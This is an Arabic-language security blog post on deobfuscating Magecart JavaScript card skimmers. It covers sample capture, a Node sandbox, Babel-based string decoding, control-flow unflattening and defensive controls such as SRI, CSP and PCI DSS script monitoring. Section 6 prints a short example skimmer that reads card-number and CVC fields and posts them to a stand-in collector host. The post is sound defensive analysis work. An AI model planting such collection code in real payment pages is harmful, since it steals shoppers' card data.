Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Retour au blog
الاختراق الأخلاقي 2025-12-18 ⏱️ 13 min

هندسة عكسية لسكيمر JavaScript: سير عمل عملي لإزالة التشويش

هندسة عكسية لسكيمر JavaScript: سير عمل عملي لإزالة التشويش

سكيمرات الويب برامج JavaScript صغيرة تُحقن في صفحات الدفع لسرقة بيانات البطاقة أثناء كتابتها. وهي جزء من نشاط Magecart، وتملك خاصية تجعلها جاذبة لهندسة العكس: يجب أن تعمل في المتصفح، لذا يُسلَّم كودها إلى الضحية. يرفع التشويش كلفة التحليل، لكنه لا يخفي السلوك عن المنقّح أو سجل الشبكة أو DOM مُجهّز. تعرض هذه المقالة سير عمل قابلًا للتكرار ينقل السكيمر من «كتلة غير مقروءة» إلى «سلسلة تسريب موثّقة».


1. الحصول على العينة وحفظها

ابدأ بالتقاط السكربت الدقيق الذي تحمّله الصفحة. لا تحلّل نسخة مُجمّلة دون حفظ التجزئة الأصلية.

# حفظ جسم الاستجابة والترويسات
curl -sS -D headers.txt -o skimmer.js 'https://shop.example.com/js/app.min.js?v=42'

# تسجيل التجزئة كدليل
sha256sum skimmer.js | tee skimmer.sha256

إذا حُمّل السكربت ديناميكيًا، استخدم لوحة Network أو وكيلًا لالتقاط الاستجابة، وسجّل مكدس المُشغّل. يكشف المُشغّل غالبًا أي سكربت مضمّن أدخل الوسم، وهو نقطة الدخول الحقيقية للاختراق.


2. الفرز قبل إزالة التشويش

اقرأ أول وآخر بضع مئات من البايتات. يترك السكيمر غالبًا آثارًا مميزة:

  • مصفوفات طويلة من السلاسل السداسية أو base64.
  • عبارة switch كبيرة أو دالة موزّع بحالات رقمية.
  • دمج سلاسل مثل ['fe','tch'].join('') لإخفاء fetch.
  • وصول خصائص مشفّر: window['fe' + 'tch'].
  • atob أو decodeURIComponent أو روتين RC4/XOR مخصص.
  • مستمعات على input أو change أو submit تستهدف حقول البطاقة.
# مؤشرات ثابتة سريعة
grep -oE 'atob|btoa|fromCharCode|decodeURIComponent|eval|Function\(' skimmer.js | sort | uniq -c
grep -oE 'https?://[^"'"'"' ]+' skimmer.js | sort -u

إذا احتوت العينة عنوانًا مقروءًا فقد حصلت على نقطة التسريب. وإلا فسيسجلها سجل الشبكة في متصفح معزول عند التنفيذ.


3. جعله قابلًا للتنفيذ في بيئة معزولة

لا تشغّل سكيمر مجهولًا في ملف تعريف متصفح عادي. استخدم جهازًا افتراضيًا مؤقتًا وملف تعريف جديدًا ووكيلًا يحجب الخروج إلا إلى مستقبل مضبوط. تساعد بيئة مُجهّزة بسيطة:

// sandbox.js — شغّله بوحدة vm في Node داخل عملية معزولة
const vm = require('vm');
const fs = require('fs');
const code = fs.readFileSync('skimmer.js', 'utf8');

const sandbox = {
  window: {},
  document: {
    querySelector: () => null,
    addEventListener: (type, fn) => console.log('[listener]', type)
  },
  navigator: { userAgent: 'sandbox' },
  location: { href: 'https://shop.example.com/checkout' },
  fetch: (...args) => { console.log('[fetch]', args); return Promise.resolve(); },
  XMLHttpRequest: function () { console.log('[xhr] constructed'); },
  atob: (s) => Buffer.from(s, 'base64').toString('binary'),
  btoa: (s) => Buffer.from(s, 'binary').toString('base64'),
  console
};

vm.createContext(sandbox);
try {
  vm.runInContext(code, sandbox, { timeout: 5000 });
} catch (e) {
  console.error('[error]', e.message);
}

الهدف ليس محاكاة متصفح كامل، بل ملاحظة المتغيرات العامة التي يلمسها السكربت وطلبات الشبكة التي يحاولها. السكيمر الذي يفشل في البيئة قد يكشف مع ذلك روتين فك الترميز والمحددات المستهدفة.


4. هزيمة طبقة السلاسل

تبدأ معظم أدوات التشويش (javascript-obfuscator وobfuscator.io والحزم التجارية) بمصفوفة سلاسل ودالة وصول:

var _0x1a2b = ['\x66\x65\x74\x63\x68', '\x2f\x63\x6f\x6c\x6c\x65\x63\x74'];
function _0x3c4d(i) { return _0x1a2b[i - 0x0]; }

يعمل أسلوبان جيدًا:

  1. التقييم الديناميكي. نفّذ فاكّ الترميز فقط في البيئة المعزولة، ثم استدعِ دالة الوصول لكل فهرس واطبع النتيجة.
  2. تحويل AST. حلّل بـ Babel، وابحث عن استدعاءات دالة الوصول بوسيط رقمي، وقيّمها، واستبدل الاستدعاء بسلسلة حرفية.
// babel-decode.js — استبدال _0x3c4d(0x12) بالسلسلة المفكوكة
const parser = require('@babel/parser');
const traverse = require('@babel/traverse').default;
const generate = require('@babel/generator').default;
const t = require('@babel/types');
const fs = require('fs');

const src = fs.readFileSync('skimmer.js', 'utf8');
const ast = parser.parse(src);

// في عينة حقيقية، استخرج فاكّ الترميز وقيّمه في vm أولًا.
const decoded = { 0x12: '/collect', 0x13: 'fetch' };

traverse(ast, {
  CallExpression(path) {
    const callee = path.node.callee;
    const arg = path.node.arguments[0];
    if (t.isIdentifier(callee, { name: '_0x3c4d' }) && t.isNumericLiteral(arg)) {
      const value = decoded[arg.value];
      if (typeof value === 'string') path.replaceWith(t.stringLiteral(value));
    }
  }
});

fs.writeFileSync('skimmer.decoded.js', generate(ast).code);

بعد إزالة طبقة السلاسل، جمّل الناتج وتتبّع تدفق البيانات: أين تُقرأ قيم البطاقة، وكيف تُرمّز، وأين تُرسل.


5. إزالة تسطيح تدفق التحكم

يستبدل التسطيح المنطق التسلسلي بموزّع:

var _0xorder = '3|1|0|2'.split('|');
while (true) {
  switch (_0xorder.shift()) {
    case '0': /* block A */ break;
    case '1': /* block B */ break;
    case '2': /* block C */ break;
    case '3': /* block D */ break;
  }
  if (!_0xorder.length) break;
}

خياران عمليان:

  • التنفيذ الرمزي. استخدم webcrack أو إضافة Babel تقيّم الموزّع عندما تكون مصفوفة الترتيب ثابتة، ثم تعيد ترتيب الكتل.
  • التتبع الديناميكي. جهّز switch بسجلات، وشغّله في البيئة المعزولة، وسجّل ترتيب الحالات. ثم أعد بناء التسلسل يدويًا للعينات الصغيرة.

بالنسبة للسكيمر، غالبًا لا يلزم إلغاء تشويش كامل. تحتاج المصب: الدالة التي ترسل البيانات. ابحث في الناتج المفكوك عن fetch وXMLHttpRequest وsendBeacon وImage().src وWebSocket.


6. تحديد منطق الجمع

يربط السكيمر عادةً مستمعات بحقول الدفع ويقرأ القيم عند التغيير أو الإرسال:

document.querySelectorAll('input[name="cardnumber"], input[name="cvc"]').forEach(el => {
  el.addEventListener('change', () => {
    const payload = btoa(el.name + '=' + el.value);
    fetch('https://collector.example.net/c', { method: 'POST', body: payload, mode: 'no-cors' });
  });
});

ارسم كل محدد وكل حدث وكل خطوة ترميز. لاحظ هل يسرّب عند الضغط على المفاتيح (بيانات أكثر وضجيج أكثر) أم عند إرسال النموذج (ضجيج أقل وقيم كاملة). وافحص مضادات التنقيح: عبارات debugger في الحلقات أو كشف console أو فحوص التوقيت. هذه عوائق تحليل لا ضوابط أمان.


7. تأكيد نقطة التسريب

بعد تحديد عنوان مرشح، لا ترسل بيانات بطاقة حقيقية. استخدم قيمًا اصطناعية ومستقبلًا مضبوطًا. تحقق من الطريقة ونوع المحتوى والترميز وهل تقبل النقطة بيانات من أي أصل. غالبًا ينشر السكيمر إلى موقع مشروع مخترق قبل إعادة التوجيه إلى خادم المهاجم، لذا قد يبدو النطاق الأول بريئًا.

# فحص شهادة TLS والاستضافة دون إرسال حمولات
curl -sS -D - -o /dev/null https://collector.example.net/c
openssl s_client -connect collector.example.net:443 -servername collector.example.net < /dev/null 2>/dev/null | openssl x509 -noout -subject -issuer -dates

8. دروس دفاعية

  • احصر سكربتات الطرف الثالث. تعالج متطلبات PCI DSS v4.0 6.4.3 و11.6.1 إدارة سكربتات صفحة الدفع وكشف العبث. اعرف كل سكربت ومالكه وتجزئة سلامته.
  • استخدم Subresource Integrity. ثبّت سكربتات الطرف الثالث بـ SRI حيث أمكن، وقدّمها من أصل مضبوط.
  • سياسة أمان المحتوى. قيّد script-src وconnect-src كي لا يصل سكيمر محقون إلى مجمّع عشوائي.
  • راقب تغييرات DOM. نبّه على مستمعات input جديدة على حقول البطاقة وإطارات جديدة وسكربتات تُضاف بعد التحميل.
  • احفظ الأدلة. احتفظ بالعينة الأصلية والتجزئة والترويسات وسجل الشبكة. إزالة التشويش مساعدة تحليلية لا بديل عن الأثر الأصلي.

9. الخاتمة

التشويش ضابط اقتصادي لا حدود أمان. يجب أن يعمل السكيمر في متصفح الضحية، لذا سيكشف في النهاية محدداته وترميزه ووجهته. سير عمل منضبط — حفظ، فرز، عزل، فك سلاسل، تسطيح تحكم، تحديد مصبات، تأكيد نقطة — يحوّل كتلة غامضة إلى تقرير حادث قابل للتنفيذ. ويساعد السير نفسه المدافعين على التحقق من عدم تعديل صفحة الدفع، ويمنح المستجيبين الأدلة اللازمة لتحديد نطاق اختراق Magecart.

Besoin d'un audit de sécurité ?

Contactez Cayvora pour une consultation gratuite et protégez votre entreprise contre les cybermenaces.

✉️ Contact via Email

Articles connexes